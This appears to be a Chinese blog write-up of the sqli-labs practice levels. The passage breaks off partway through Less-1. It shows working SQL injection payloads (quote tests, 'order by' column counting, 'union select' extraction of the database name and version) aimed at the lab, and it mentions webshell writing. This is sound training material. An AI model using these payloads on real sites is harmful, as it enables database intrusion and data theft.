sqli-libs------less1-less8

本文详细介绍了sqli-libs中的less-1至less-8关卡,涉及SQL注入的基本思路,包括判断注入点、类型、字段数,以及数据库名、表名、列名和数据的获取。讲解了字符型和数字型注入,以及如何利用闭合技巧和盲注进行信息爆破。还提到了时间注入和利用文件写入实现一句话木马的植入。
摘要由CSDN通过智能技术生成

sqli-libs

sql注入思路

判读是否存在注入–判断注入类型–猜解字段数–查看输出字段位置–尝试爆出数据

获取数据库名–获取表名–获取列名–获取数据

less–1

页面让我们输入一个id值

请添加图片描述

我们用get的请求方式输入看看

请添加图片描述

测试这里是否有注入点

?id=1'

请添加图片描述

出现报错情况,说明这里有注入点

判断注入类型

?id=1' and 1=1--+

为正常页面

请添加图片描述

?id=1' and 1=2--+

页面显示不正常

请添加图片描述

则为,字符型注入

猜测他的查询语句为

select *from * where ID='id' limit 0,1;

查询字段数

?id=1' order by 3--+

当order by 3时,页面正常显示

请添加图片描述

当order by 4时,页面报错

请添加图片描述

说明,字段数为3

查看,输出的是哪一位数

?id=-1' union select 1,2,3--+

请添加图片描述

可以看到,输出的字段为2,3

我们可以是数据在2,3处显示出来

爆数据库名

?id=-1' union select 1,database(),version()--+

请添加图片描述

数据库名为security,版本为5.5.53

爆表名

?id=-1' union select 1,(select group_
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值